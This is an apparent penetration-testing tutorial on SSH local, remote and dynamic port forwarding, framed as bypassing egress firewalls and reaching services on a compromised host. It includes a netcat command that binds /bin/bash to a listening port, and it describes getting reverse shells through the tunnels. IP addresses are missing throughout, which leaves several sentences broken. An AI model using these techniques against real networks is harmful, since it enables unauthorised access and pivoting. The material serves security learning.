SSH Tunnelling / Port Forwarding

Exploring SSH tunneling

SSH: Local Port Forwarding

If you are on the network that restricts you from establishing certain connections to the outside world, local port forwarding allows you to bypass this limitation. For example, if you have a host that you want to access, but the egress firewall won't allow this, the below will help:

ssh -L user@SSH_SERVER

All the traffic will flow through the SSH_SERVER which DOES have access to the host you want to access. Let's see an example.

On machine

The below reads: bind on a local port 9999 (on a host Listen for any traffic coming to that port 9999 (i.e or and forward it all that to the port 4444 on host

ssh -L9999: root@ -N -f

We can see that the is now indeed listening:

On machine

Machine is listening on port 4444 - it is ready to give a reverse shell to whoever joins

On machine

Since the machine is listening on, let's netcat it - this should give us a reverse shell from

The above indeed shows that we got a reverse shell from and the local tunnel worked.

SSH: Remote Port Forwarding

Remote port forwarding helps in situations when you have compromised a box that has a service running on a port bound to, but you want to access that service from outside. In other words, remote port forwarding exposes an obscured port to the host you want to connect to.

Pseudo syntax for creating remote port forwarding with ssh tunnels is:

ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER

The above suggests that any traffic sent to port 5555 on SSH_SERVER will be forwarded to the port 3389 on the LOCAL_HOST - the host that runs the service that is only accessible from inside that host.

On machine

Let's create a reverse shell listener bound to (not reachable to hosts from outside) on port 4444:

nc -lp 4444 -s -e /bin/bash & ss -lt

Now, let's open a tunnel to and create remote port forwarding by exposing the port 4444 for the host

ssh -R5555:localhost:4444 root@ -fN

The above says: bind a port 5555 on and make sure that any traffic sent to port 5555 on, please send it over to port 4444 on to this box (

On machine

Indeed, we can see a port 5555 got opened up on as part of the tunnel creation:

Let's try sending some traffic to - this should give us a reverse shell from the - which it did:

SSH: Dynamic Port Forwarding

Pseudo syntax for creating dynamic port forwarding:

ssh -D user@SSH_SERVER

The above essentially means: bind port 9090 on localhost and any traffic that gets sent to this port, please relay it to the SSH_SERVER - I trust it to make the connections for me. Once it gets a response, please send that data back to me.

For the demo, let's check what is our current IP before the dynamic port forwarding is set up:

Creating an ssh tunnel to and binding port 9090 on the local machine

ssh -D9090 root@

Checking network connections on the localhost, we can see that the port 9090 is now listening:

This means that if we send any traffic to, that traffic will be sent to the hosts on the other end of the ssh tunnel - and then the host will make connections to other hosts on behalf of the host It will return any data it receives back to the originating host

To test this, we can set our browser to use a socks5 proxy server like so:

If we check what our IP is again, it is obvious that we are now indeed masquerading the internet as

Dynamic port forwarding plays along nicely with ProxyChains.